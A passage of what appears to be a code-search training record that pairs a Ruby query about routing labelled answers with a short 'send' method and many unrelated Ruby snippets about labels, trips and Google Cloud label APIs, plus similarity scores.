"def stop_times\n page.search('table#trip-details tbody tr').reduce(Array.new) do |stop_times, table_row|\n stop_time = StopTime.new.html! table_row\n duplicate = stop_times.find do |duplicate|\n duplicate.stop_page.stop_id == stop_time.stop_page.stop_id &&\n duplicate.arrival_time == stop_time.arrival_time\n end\n stop_times << stop_time unless duplicate\n stop_times\n end.each_with_index.map do |stop_time, index|\n stop_time.stop_sequence = index\n stop_time\n end\n end",
"def get_trip_listing \n\t\t@trip = Trip.find_by(_id: trip_params[:trip_id])\n\t\tif current_user.trips_driving.include?(trip_params[:trip_id]) || current_user.past_trips_driven.include?(trip_params[:trip_id])\n\t\t\t@user_requests = User.where(:_id.in => @trip.user_requests).map { |user|\n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name,\n\t\t\t\t\tfacebook_link: user.facebook_link,\n\t\t\t\t\temail: user.email,\n\t\t\t\t\tphone_number: user.phone_number\n\t\t\t\t}\n\t\t\t}\n\t\t\t@accepted_users = User.where(:_id.in => @trip.accepted_users).map { |user| \n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name,\n\t\t\t\t\tfacebook_link: user.facebook_link,\n\t\t\t\t\temail: user.email,\n\t\t\t\t\tphone_number: user.phone_number\n\t\t\t\t}\n\t\t\t}\n\t\t\trender json: {\n\t\t\t\tstatus: 'success',\n\t\t\t\ttrip: {\n\t\t\t\t\ttrip_details: @trip,\n\t\t\t\t\tuser_requests: @user_requests,\n\t\t\t\t\taccepted_users: @accepted_users\n\t\t\t\t}\n\t\t\t}\n\t\telse\n\t\t\trender json: {\n\t\t\t\tstatus: 'error',\n\t\t\t\tmessage: 'This user is not the driver for this trip'\n\t\t\t}\n\t\tend\n\tend",
"def list_of_instances\n super\n end",
"def funding_rounds\n FundingRound.all.select do |funding_round|\n funding_round.startup == self\n end\n end",
"def funding_rounds\n FundingRound.all.select do |funding_round|\n funding_round.startup == self\n end\n end",
"def appointments\n Appointment.all.select do |appointment|\n appointment.patient == self\n #binding.pry\n end\n end",
"def active_instances; end",
"def funding_rounds\n FundingRound.all.select{|fr| fr.startup == self}\n end",
"def projectbackers\n ProjectBacker.all.select do |pb_instance|\n pb_instance.project == self \n end \n end",
"def view_current_trips\n @trips = Request.all\n @count = Request.count\n @trips.each do |trip|\n @curLoc = trip.currentLoc\n @destination = trip.destination\n end\n end",
"def trip_count\n self.trips.count\n end",
"def appointments\n Appointment.all.select do |appointment| appointment.patient == self end\n end",
"def index\n \t@trips = Trip.all\n end",
"def funding_rounds\n FundingRound.all.select {|fr| fr.startup == self}\n end",
"def index\n @trip_routes = TripRoute.all\n end",
"def all_trails\n # find all trails in this park\n ParkTrails.all.select do |pt|\n pt.park == self\n end.collect do |this_park|\n this_park.trail.name\n end\n end",
"def trip_count\n trips.count\n end",
"def search_trips(trips, opts = {})\n service_id = opts[:service_id]\n route_id = opts[:route_id]\n service_id ||= 'S1'\n\n valid_trips = trips.select { |trip| \n trip[:service_id].eql? service_id\n }\n trips_with_route = valid_trips.select{ |trip| \n if !route_id.nil? then \n trip[:route_id].eql? route_id \n else \n true\n end \n }\n trips_with_route.map {|trip| trip[:trip_id]}\n end",
"def trip_count\n self.trips.size\n end",
"def rides\n Ride.all.select { |ride| ride.driver == self }\n end",
"def all_joinees\n rebuild_instances(self.joinees)\n end",
"def instances\n Egi::Fedcloud::Vmhound::Log.info \"[#{self.class}] Retrieving active instances\"\n fetch_instances\n end",
"def appointments\n Appointment.all.select do |appointment|\n appointment.patient == self\n end\n end",
"def appointments\n Appointment.all.select do |appointment|\n appointment.patient == self\n end\n end"
] |
[
"0.77800363",
"0.7767566",
"0.77190864",
"0.7707546",
"0.76970965",
"0.7687565",
"0.7683228",
"0.76801527",
"0.7658864",
"0.7658491",
"0.7606506",
"0.75469756",
"0.7540549",
"0.7522888",
"0.74685377",
"0.7465086",
"0.72374",
"0.7004925",
"0.6954315",
"0.68982697",
"0.6859021",
"0.6815937",
"0.67891735",
"0.6785809",
"0.6785809",
"0.6769303",
"0.67339146",
"0.67323077",
"0.6664595",
"0.66546965",
"0.6646286",
"0.6640128",
"0.6591604",
"0.6561718",
"0.65593976",
"0.6492246",
"0.64442515",
"0.6418312",
"0.6410133",
"0.6311492",
"0.62261397",
"0.6162537",
"0.6123439",
"0.61092556",
"0.60718757",
"0.604889",
"0.60090405",
"0.6004834",
"0.6001032",
"0.596192",
"0.59609914",
"0.5936867",
"0.59305567",
"0.59089935",
"0.584995",
"0.5804744",
"0.5801716",
"0.57430685",
"0.5733022",
"0.5732531",
"0.57227355",
"0.5720494",
"0.57159466",
"0.5715905",
"0.5707758",
"0.56896436",
"0.5612408",
"0.55669814",
"0.55505234",
"0.55498695",
"0.552626",
"0.55254304",
"0.5523062",
"0.5505465",
"0.5490002",
"0.5480803",
"0.54546374",
"0.5454131",
"0.5441418",
"0.54402196",
"0.54402196",
"0.5434177",
"0.54309475",
"0.5429977",
"0.5428002",
"0.54227",
"0.5422321",
"0.5418984",
"0.541181",
"0.54048157",
"0.5402352",
"0.5402256",
"0.539547",
"0.5380317",
"0.5377864",
"0.53698874",
"0.5369273",
"0.5363622",
"0.5357896",
"0.5357896"
] |
0.75797886
|
11
|
this method will count all of the a specific trip instance has had. I'm guessing I can use a previous method written. Trips method? will give me an integer back.
|
def trip_count
trips.count
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def trip_count\n trips.count\n end",
"def trip_count\n trips.length\n end",
"def trip_count\n trips.length\n end",
"def trip_count\n trips.length\n end",
"def trip_count\n trips.length\n end",
"def trip_count\n trips.length\n end",
"def trip_count\n self.trips.count\n end",
"def trip_count\n trips.length\nend",
"def trip_count\n self.trips.size\n end",
"def count \n trips.length\n end",
"def trip_count()\n self.trips().length()\n end",
"def trip_count\n self.trips.length\n end",
"def trip_count\n self.trips.length\n end",
"def trip_count\n return self.trips.length\n end",
"def trips \n trips_taken = Trip.all.select do |trip|\n trip.listing == self\n end\n end",
"def trips\n @analysis[:trips]\n end",
"def trips\n RideShare::Trip.find_all_for_rider(@id)\n end",
"def num_of_rides(trips)\n return trips.map do |driver, trip|\n \"Driver #{driver} made #{trip.length} rides\"\n end\nend",
"def trips\n Trip.all.select {|t| t.listing == self}\n end",
"def trips\n Trip.where(:route_id => self.route_id)\n end",
"def trips\n Trip.where(:route_id => self.route_id)\n end",
"def trips\n Trip.all.select { |trip| trip.listing==self}\n end",
"def trips\n @trips = Trip.all.select do |trip|\n trip.listing == self\n end\n end",
"def trips\n Trip.all.select {|trip| trip.listing == self}\n end",
"def flight_segment_tally\n all_flights.length\n end",
"def trips\n Trip.find_for_driver(@driver_id)\n end",
"def trips\n #will find upcoming trips/reservations for guests\n Reservation.where(guest_id: self.id)\n end",
"def trips\n Trip.all.filter {|trip| trip.listing == self}\n\n end",
"def get_num_of_completed_trips\n return @trips.length - 1 if !@trips.empty? && @trips.last.is_in_progress?\n return @trips.length\n end",
"def active_trains\n data = parse_json\n data['Trips'].length\n end",
"def trips()\n Trip.all().select() { | trip | trip.listing == self }\n end",
"def trips\n Trip.all.filter do |trip|\n trip.listing == self\n end\n end",
"def trips_number(start, finish, opts, graph = MainGraph)\n RoutePlanner.new(graph).trips_number(start, finish, opts)\n end",
"def trips\n Trip.all.select do |trip|\n trip.listing == self\n end\n\n end",
"def trips\n get '/gtfs/trips'\n end",
"def trips\n @trips = Trip.all.select do |trip|\n trip.guest == self\n end\n end",
"def trips #<====== QUESTIONS: RETURNS NIL?\n Trip.all.select do |listings|\n if listings.listing == self\n listings\n end\n end\n end",
"def trips\n trips = RideShare::Trip.trips_by_rider(@id)\n if trips != nil\n return trips\n else\n return []\n end\n end",
"def trips \n Trip.all.select do |ti|\n ti.guest == self\n end\n end",
"def trips\n arr = []\n Trips.all.each do |trip|\n if trip.listing == self\n arr << trip\n end\n end\n arr\n end",
"def trips\n Trip.all.select{ |trip| trip.guest == self}\n end",
"def total_cost\n costs = 0\n trips.each { |trip| costs += trip.cost }\n return costs\n end",
"def trips(start, finish, stops1, stops2)\n total_paths = 0\n cycles = all_cycles # all cycles in graph\n (stops1..stops2).each do |stops|\n path, paths = [], []\n visited = [start]\n puts \"\\nSTOPS GOAL = #{stops}\\n\"\n num_paths = trips_dfs(start, finish, stops, visited, path, paths, cycles)\n puts \"\\n--- Total paths for #{stops} stops: #{num_paths}\"\n total_paths += num_paths\n end\n puts \"\\n==> Total paths from #{start} to #{finish}, for #{stops1} to #{stops2} stops: #{total_paths} <==\\n\"\n total_paths\n end",
"def total_time_spent\n return trips.sum {|trip| trip.duration}\n end",
"def trips\n Trip.all.select do |trip|\n if trip.guest == self\n trip\n end\n end\n end",
"def count\n all.count\n end",
"def find_res_count\n res_count = 0\n self.listings.each do |listing|\n res_count += listing.reservations.where(:status => \"accepted\").count\n end\n return res_count\n end",
"def count; end",
"def count; end",
"def count; end",
"def dir_count(route, dir)\n route.count(dir)\nend",
"def total_time_spent\n\n time_spent = Trip.total_time(trips)\n\n return time_spent\n end",
"def total_flights\n approved_flights.count\n end",
"def per_trip_total\n (per_ticket_cost + checked_bag_cost + per_trip_accom)\n end",
"def total_duration\n running_total = 0\n @trips.each do |trip|\n @total_driving_time += trip.duration\n end\n end",
"def trips\n Trip.all.select do |trip|\n trip.listing == self\n end\n end",
"def trips \n Trips.all.each do |trip|\n trip \n end \n\n #return to airbnb\n \n\n\n \nend",
"def trips\n Trip.all.select do |trip|\n trip.listing == self\n end\nend",
"def get_total_time\n return RideShare.get_all_trip_durations_in_seconds(@trips)\n end",
"def all_trips\n return Rideshare::Trip.find_trip_by_rider(@id)\n end",
"def count_triple\nend",
"def count\n all.size\n end",
"def get_num_rides(rides)\n return rides.length\nend",
"def counts\r\n @counts\r\n end",
"def count\n dps.count\nend",
"def distance_calculator\n @trips.each do |trip|\n @total_distance += trip.distance.to_f\n end\n end",
"def count_distance(departure, arrival, sub)\n\tdeparture_line = get_station_line(sub, departure)\n\tarrival_line = get_station_line(sub, arrival)\n\n\tif departure_line.to_s == 'red_line'\n\t\tdistance_first = (get_station_no(sub, departure) - 2).abs\n\telse \n\t\tdistance_first = (get_station_no(sub, departure) - 3).abs\n\tend\n\t\n\tif arrival_line.to_s == 'red_line'\n\t\tdistance_second = (get_station_no(sub, arrival) - 2).abs\n\telse \n\t\tdistance_second = (get_station_no(sub, arrival) - 3).abs\n\tend\n\treturn distance_first + distance_second\n\nend",
"def count\n self.class.count(self)\n end",
"def trades_count\n trades.count\n end",
"def number_of_triples?\n puts \"\\n#{@@number_of_triples} triples generated !! :)\"\n puts \"\"\n puts \"(NOTE: Those drugs with incomplete fields have not been added)\"\n end",
"def count\n end",
"def count\n end",
"def hash_trip_id_total_saved(trips)\n hash = {}\n trips.each do |trip|\n if trip.savings!= 0\n hash[trip.id] = total_saved_for_trip(trip)\n end\n end\n return hash\n end",
"def river_count\n return @fishes.count\nend",
"def count\n # implement in subclasses\n end",
"def count\n run.count\n end",
"def trips_by_weekday()\n TripCollection.new( @trips.select {|k, t| t.start_time.wday.between?(1,5) } )\n end",
"def count\r\n @pitches.size\r\n end",
"def total_hard_brakes\n self.inject(0) do |accum,trip|\n accum += trip.hard_brakes_count\n accum\n end\n end",
"def total_hard_accels\n self.inject(0) do |accum,trip|\n accum += trip.hard_accels_count\n accum\n end\n end",
"def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end",
"def count_passing\n return self.passing_products.size\n end",
"def count_places\n COUNT_PLACES\n end",
"def find_total_rides(rides)\n length = rides.length\n return length\nend",
"def trip(unit = :meters)\n convert_length(@trip, unit)\n end",
"def trips\n @agent.get(TRIPS_URL)\n\n # If session expires, re-login to citibikenyc.com. The site will redirect\n # back to TRIPS_URL upon sign in (friendly forwarding)\n login unless @agent.page.title == TRIPS_PAGE_TITLE\n\n rows = Nokogiri::HTML(@agent.page.body).xpath('//table/tbody/tr')\n\n # Reject bike trips that are either in progress or have durations <\n # MIN_TRIP_DURATION minutes.\n rows = rows.reject do |row|\n duration = row.at_xpath('td[6]/text()').to_s.match(/(\\d{1,2})m/)\n !duration || (duration.captures[0].to_i < MIN_TRIP_DURATION)\n end\n rows.map { |row| row_to_trip(row) }\n end",
"def count_passing\n return self.passing_tests.size\n end",
"def listings\n self.trips.map {|trip| trip.listing}.uniq\n end",
"def trips_stats \n @all = current_user.trip_requests.trips.count\n @completed = current_user.trip_requests.trips.completed.count\n @cancelled = current_user.trip_requests.trips.cancelled.count\n @pending = current_user.trip_requests.trips.pending.count\n @on_going = current_user.trip_requests.trips.on_going.count\n @active = current_user.trip_requests.trips.active.count\n @monthly_successful = current_user.trip_requests.completed.trips.group_by_month(:created_at, format: \"%b\", reverse:true).count\n @monthly_pending = current_user.trip_requests.pending.trips.group_by_month(:created_at, format: \"%b\", reverse:true).count\n @response = { all: @all, completed: @completed, cancelled: @cancelled, active: @active, monthly_pending:@monthly_pending, monthly_successful:@monthly_successful, pending: @pending, on_going: @on_going }\n json_response(@response)\n end",
"def count\n @count\n end",
"def KiteCount\n return kites.any? ? kites.count : 0\n end",
"def tbs_turn_count\n $game_troop.turn_count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def total_tasks\n tasks.count\n end",
"def amount_trains(type_of_train)\n @trains.select { |train| train.type == type_of_train }\n end",
"def pax_count_tally\n get_tally_by_flight_column_name(\"pax_count\")\n end",
"def count_return_rentals\n self.rentals.where( current: false ).count\n end",
"def count_tickets\n tickets = self.tickets\n total_tickets = tickets.count\n return total_tickets\n end"
] |
[
"0.87917596",
"0.8513187",
"0.85097307",
"0.8508809",
"0.8508809",
"0.8508809",
"0.8505742",
"0.83736634",
"0.8358884",
"0.8353926",
"0.8282063",
"0.8274554",
"0.8274554",
"0.8222465",
"0.72403204",
"0.70993584",
"0.68197274",
"0.6807867",
"0.67699116",
"0.67570895",
"0.67570895",
"0.67244595",
"0.67053425",
"0.66757166",
"0.65889746",
"0.65822667",
"0.6579012",
"0.65728426",
"0.6558873",
"0.65202564",
"0.6502501",
"0.64963037",
"0.64914566",
"0.64658546",
"0.6435518",
"0.6425904",
"0.63423324",
"0.63406926",
"0.6333734",
"0.63049984",
"0.62391406",
"0.62245715",
"0.6191231",
"0.6190436",
"0.61799634",
"0.6153425",
"0.6131506",
"0.6112989",
"0.6112989",
"0.6112989",
"0.61108154",
"0.61099255",
"0.6109497",
"0.60911393",
"0.6067945",
"0.60627925",
"0.60312736",
"0.60290384",
"0.60287917",
"0.60196555",
"0.60190725",
"0.6010712",
"0.6007854",
"0.598976",
"0.5983328",
"0.59817827",
"0.5974124",
"0.5959079",
"0.5955209",
"0.5949007",
"0.5943473",
"0.5943473",
"0.59348935",
"0.59337276",
"0.59287995",
"0.5925595",
"0.5925064",
"0.5923633",
"0.59231746",
"0.5918517",
"0.59064275",
"0.59016854",
"0.590033",
"0.5895815",
"0.58910245",
"0.5889692",
"0.588623",
"0.58829653",
"0.586975",
"0.5860578",
"0.5859261",
"0.5851336",
"0.5848097",
"0.5848097",
"0.5848097",
"0.5843292",
"0.5842825",
"0.5828855",
"0.5823038",
"0.5812454"
] |
0.8787178
|
1
|
Specifies the location to send answers to designated by the given labels. These labels must match the labels given to Machinelabel. Factory.setup do workstation :w do machine :m do ... send group1: "w:m1" send group2: "w:m2" end end end Use this method inside a machine block.
|
def send (hash)
@routes.merge! hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def for_labels(*the_labels)\n raise OpenForLabelStatement unless working_labels.empty?\n self.working_labels += the_labels\n self\n end",
"def set_labels(hash, labels)\n labels = [labels] unless labels.is_a? Array\n @server.call('d.set_custom1', hash, labels.join(', '))\n self.torrents[hash].labels = labels\n end",
"def add_labels(hash, labels)\n self.torrents[hash].add_labels(labels)\n @server.call('d.set_custom1', hash, self.torrents[hash].labels_str)\n end",
"def labeled_machine(initial, transitions, labels)\n fsm = StateMachineChecker::FiniteStateMachine.new(initial, transitions)\n\n labeling = instance_double(StateMachineChecker::Labeling)\n allow(labeling).to receive(:for_state) { |s| labels[s] }\n\n StateMachineChecker::LabeledMachine.new(fsm, labeling)\nend",
"def store_selected_labels select_locator, variable_name\r\n command 'storeSelectedLabels', select_locator, variable_name\r\n end",
"def set_labels request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/disks/#{request_pb.resource}/setLabels\"\n body = request_pb.zone_set_labels_request_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"def use_label_printer\n show do\n title \"Use label printer to label new 1.5 mL tubes\"\n check \"Ensure that the B33-143-492 labels are loaded in the printer. This number should be displayed on the printer. If not, check with a lab manager.\"\n check \"Open the LabelMark 6 software.\"\n check \"Select \\\"Open\\\" --> \\\"File\\\" --> \\\"Serialized data top labels\\\"\"\n note \"If an error about the printer appears, press \\\"Okay\\\"\"\n check \"Select the first label graphic, and click on the number in the middle of the label graphic.\"\n check \"On the toolbar on the left, select \\\"Edit serialized data\\\"\"\n if operations.first.output(OUTPUT).item != nil\n check \"Enter #{operations.first.output(OUTPUT).item.id} for the Start number and #{operations.length} for the Total number, and select \\\"Finish\\\"\"\n else\n check \"No start number found.\"\n end\n check \"Select \\\"File\\\" --> \\\"Print\\\" and select \\\"BBP33\\\" as the printer option.\"\n check \"Press \\\"Print\\\" and collect the labels.\"\n image \"purify_gel_edit_serialized_data\"\n image \"purify_gel_sequential\"\n end \n end",
"def dock labels, config={}, &block\n require 'canis/core/widgets/keylabelprinter'\n klp = Canis::KeyLabelPrinter.new @form, labels, config, &block\n end",
"def set_instance_labels request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_set_instance_labels_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def register_labels\n label.register if label?\n end",
"def multi(*labels, &block)\n @multi = true\n @add = false\n cloaker(&block).bind(self).call\n @add = true\n if @multi\n @labels.concat(labels)\n @match = true\n end\n return @message.labels\n end",
"def add_machine_spec_location(vm, machine_spec,bootstrap_options)\n machine_spec.location = {\n 'driver_url' => driver_url,\n 'driver_version' => VERSION,\n 'server_id' => vm.config.instanceUuid,\n 'is_windows' => is_windows?(vm),\n 'allocated_at' => Time.now.utc.to_s,\n 'ipaddress' => bootstrap_options[:customization_spec][:ipsettings][:ip]\n }\n end",
"def parse_labels\n @labels.split.each do |lbl|\n vals = lbl.split(':')\n v = vals.first\n case v\n when \"form\"\n handle_form_label vals\n when \"instrument\"\n handle_instrument_label vals\n when \"references\"\n handle_references_label vals\n else\n if valid_setters.include?(v.to_sym)\n self.send(\"#{v}=\", vals.last)\n end\n end\n end\n end",
"def setup\n group.each do |name, windows|\n next if options[:group] && name != options[:group]\n\n setup_session(name)\n\n windows.each_with_index do |win, i|\n setup_window(win, i)\n end\n\n add_command(:screen, 'select %s', screen_group.primary_pos)\n\n break\n end\n end",
"def handle_location(bot, message)\n buttons = [\n Telegram::Bot::Types::InlineKeyboardButton.new(\n text: 'przystanek', \n callback_data: {\n 'type' => 'bus',\n 'lat' => message.text, \n 'lng' => message.text\n }.to_json\n ),\n Telegram::Bot::Types::InlineKeyboardButton.new(\n text: 'pogoda', \n callback_data: {\n 'type' => 'weather',\n 'lat' => message.text, \n 'lng' => message.text\n }.to_json\n ),\n ]\n markup = Telegram::Bot::Types::InlineKeyboardMarkup.new(inline_keyboard: buttons)\n bot.api.send_message(\n chat_id: message.chat.id, \n text: 'Co chcesz uzyskać?', \n reply_markup: markup)\nend",
"def add_labels(labels)\n labels.map! { |label| Hubstats::Label.first_or_create(label) }\n self.labels = labels\n end",
"def set_label labels, key, value\n labels[key] = value if value.is_a? ::String\n end",
"def create_labels(labels)\n initialize\n labels.each do |l|\n @client.add_label(@targetRepo, l.name, l.color)\n end\n end",
"def iSetTargetWifi(client)\n\t\tbegin\n\t\t\tclient.launch(\"com.apple.Preferences\", true, true)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='Wi-Fi' and @x=118]\", 0, 1)\n\t\t\tclient.sleep(3000)\n\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='QA2-2G' and @x>700 and @y<400]\", 0)\n\t\t\t\tputs \"::MSG:: 既に接続しました「 Already connected to Main environment\"\n\t\t\t\tclient.sleep(3000)\n\t\t\telse\n\t\t\t\tclient.sleep(7000)\n\t\t\t\tclient.longClick(\"NATIVE\", \"xpath=//*[@text='QA2-2G' and @x>700 and @y>400]\", 0, 1, 0, 0)\n\t\t\t\tclient.sleep(3000)\n\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='このネットワーク設定を削除' and ./parent::*[@text='このネットワーク設定を削除']]\", 0)\n\t\t\t\t\tputs \"::MSG:: 既に接続しました「 Already connected to Main environment\"\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\telse\n\t\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='パスワード' and ./parent::*[@text='パスワード' and ./parent::*[@text='パスワード']]]\", 0)\n\t\t\t\t\t\tclient.elementSendText(\"NATIVE\", \"xpath=//*[@text='パスワード' and ./parent::*[@text='パスワード' and ./parent::*[@text='パスワード']]]\", 0, \"unexttest\")\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tend\n\t\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='接続']\", 0)\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='接続']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tend\n\t\t\t\t\tputs \"::MSG:: 本番環境に接続しました「 Conencted to Main environment\"\n\t\t\t\t\tclient.sendText(\"{HOME}\")\n\t\t\t\tend\n\t\t\tend\n\t\trescue Exception => e\n\t\t\t$errMsgCcast = \"::MSG:: Exception occurrred while setting wifi \" + e.message\n\t\tend\t\t\n\t\tclient.launch(\"jp.unext.mediaplayer\", true, false)\n\t\tclient.sleep(5000)\n\tend",
"def set_labels request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_set_labels_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def store_selected_label select_locator, variable_name\r\n command 'storeSelectedLabel', select_locator, variable_name\r\n end",
"def labels=(value)\n @labels = value\n end",
"def labels=(value)\n @labels = value\n end",
"def add_label label\n @labels[label] = true\n\n label\nend",
"def coordinate_labels_target\n if self.options[:cluster_group_id].blank?\n nil\n else\n ClusterGroup.find(self.options[:cluster_group_id])\n end\n end",
"def labels(labelItem)\n @labels = labelItem\n end",
"def reply_send_location(event)\n client.reply_message(event[\"replyToken\"], {\n type: \"template\",\n altText: I18n.t(\"chat.line_bot.service.send_location\"),\n template: {\n type: \"buttons\",\n text: I18n.t(\"chat.line_bot.service.send_location\"),\n actions: [\n {\n type: \"uri\",\n label: I18n.t(\"chat.line_bot.service.set_location\"),\n uri: \"line://nv/location\"\n }\n ]\n }\n })\n end",
"def commute_params\n params.require(:commute).permit(:label, schedule_attributes: Schedulable::ScheduleSupport.param_names, location_attributes: :address)\n\n end",
"def label(lname)\n $labels[lname] = $iptr\nend",
"def task()\n world = Robota::World\n world.read_world(\"../karel/empty.map\")\n \n karel = Question3.new(1, 1, Robota::NORTH, 1)\n karel2 = Question3.new(6, 1, Robota::EAST, 0)\n karel3 = Question3.new(6, 6, Robota::SOUTH, 0)\n karel4 = Question3.new(1, 6, Robota::WEST, 0)\n karel.put_beeper\n karel.run\n karel2.run\n karel3.run\n karel4.run\n karel4.run\n karel.run\n karel2.run\n karel3.run\n karel3.run\n karel4.run\n karel.run\n karel2.run\n karel2.run\n karel3.run\n karel4.run\n karel.run\n \n \nend",
"def it(label=nil, *tags, &procedure)\n keys = (Hash===tags ? tags.pop : {})\n\n settings = {\n :parent => @_group,\n :hooks => @_hooks,\n :skips => @_skips,\n :omits => @_omits,\n :topic => @_topic,\n :label => label,\n :tags => tags,\n :keys => keys\n }\n\n spec = Example.new(settings, &procedure)\n \n @_group.specs << spec\n\n spec\n end",
"def location_switch_label\n if outside_location.blank?\n \"other\"\n else\n \"pick one from the list\"\n end\n end",
"def select_and_fill_templates\n template = @user_input.select_template(@label_printer)\n label = fill_in_the_template(template[:text], LABEL_TEMPLATE_NAME)\n @labels << {TEMPLATE_KEY => template[:name]}.merge!(label)\n\n # ask if the user would like to add another label to the print\n select_and_fill_templates if @user_input.another_label?\n\n {:labels => @labels }\n end",
"def label(label, options = {})\n run_command(\"label/#{label}/values\", options)\n end",
"def parse_label\n if (@instruction.is_a? Rips::Instructions::Beqz) ||\n (@instruction.is_a? Rips::Instructions::Bnez) ||\n (@instruction.is_a? Rips::Instructions::J) ||\n (@instruction.is_a? Rips::Instructions::Jal)\n\n @cmd[:arguments] = [@labels[@cmd[:arguments].first].to_s]\n end\n end",
"def set_label(l); end",
"def location\n\t\tif machine.blank?\n\t\t\t\"Location Unknown\"\n\t\telsif usage.blank?\n\t\t\t\"#{machine.name}\"\n\t\telse\n\t\t\t\"#{machine.name} (#{usage})\"\n\t\tend\n\tend",
"def add_labels(*labels)\n labels.inject(query_as(:n)) do |query, label|\n query.set(\"n:`#{label}`\")\n end.exec\n @_persisted_obj.labels.concat(labels)\n @_persisted_obj.labels.uniq!\n end",
"def label=(label)\n @label = label.to_sym\n end",
"def label=(label)\n @label = label.to_sym\n end",
"def labels\n inject_block(:name, :label)\n end",
"def ask_for_labels domain, question, default_labels, forbidden_labels=[]\n default_labels = Set.new default_labels\n default_labels -= @context.labels.reserved_labels\n default = default_labels.sort.map { |x| x + \" \" }.join\n\n forbidden_labels = Set.new forbidden_labels\n autocomplete_labels = (@context.labels.user_mutable_labels - forbidden_labels).sort\n answer = ask_many_with_completions domain, question, autocomplete_labels, default\n\n return unless answer\n\n user_labels = Set.new answer.split(/\\s+/)\n\n user_labels.each do |l|\n if @context.labels.reserved_labels.include?(l)\n @context.screen.minibuf.flash \"'#{l}' is a reserved label!\"\n return\n elsif forbidden_labels.include?(l)\n @context.screen.minibuf.flash \"'#{l}' cannot be applied in this context!\"\n return\n end\n end\n\n user_labels\n end",
"def set_label\n @label = @app_session.labels.find(params[:id])\n end",
"def labels_tech_demo\n outputs.labels << [grid.left.shift_right(5), grid.top.shift_down(5), \"This is a label located at the top left.\"]\n outputs.labels << [grid.left.shift_right(5), grid.bottom.shift_up(30), \"This is a label located at the bottom left.\"]\n outputs.labels << [ 5, 690, \"Labels (x, y, text, size, align, r, g, b, a)\"]\n outputs.labels << [ 5, 660, \"Smaller label.\", -2]\n outputs.labels << [ 5, 630, \"Small label.\", -1]\n outputs.labels << [ 5, 600, \"Medium label.\", 0]\n outputs.labels << [ 5, 570, \"Large label.\", 1]\n outputs.labels << [ 5, 540, \"Larger label.\", 2]\n outputs.labels << [300, 660, \"Left aligned.\", 0, 2]\n outputs.labels << [300, 640, \"Center aligned.\", 0, 1]\n outputs.labels << [300, 620, \"Right aligned.\", 0, 0]\n outputs.labels << [175, 595, \"Red Label.\", 0, 0, 255, 0, 0]\n outputs.labels << [175, 575, \"Green Label.\", 0, 0, 0, 255, 0]\n outputs.labels << [175, 555, \"Blue Label.\", 0, 0, 0, 0, 255]\n outputs.labels << [175, 535, \"Faded Label.\", 0, 0, 0, 0, 0, 128]\n end",
"def suite_labels\n SuiteLabels.new(example.example_group).fetch\n end",
"def find_labels\n @input.each_with_index do |line, i|\n if line.label?(i)\n label = line.split(\":\")[0]\n if !@labels.include?(label)\n @labels[label] = [*@instructions.each_with_index].search{|x, _| x >= i}.last\n else\n Error::message(7, i+1, line) \n end\n end\n end\n end",
"def start(labels = [])\n call_container_method(:start, labels)\n end",
"def show_label_mmix_tubes(labels:)\n n = labels.length\n labels = labels.map { |label| \"<b>#{label}</b>\" }\n show do\n title 'Label master mix tubes'\n\n note \"Take out #{n} #{TUBE_MICROFUGE.pluralize(n)}\"\n note \"Write #{labels.to_sentence} on the tops of each tube\"\n end\n end",
"def set_label\n @label = Label.find(params[:id])\n end",
"def set_label\n @label = Label.find(params[:id])\n end",
"def labels; end",
"def label(label = nil)\n @label = label if label\n @label\n end",
"def label=(label)\n write_attr :label, label\n end",
"def label=(new_label)\n\t Phidgets::FFI::Common.setDevicelabel(@handle, new_label)\n\t new_label\n end",
"def add_label(label)\n @api.do_request(\"PUT\", label.get_base_api_path() + \"/messages/\" + get('id'));\n @label_ids_set[label.id] = true\n end",
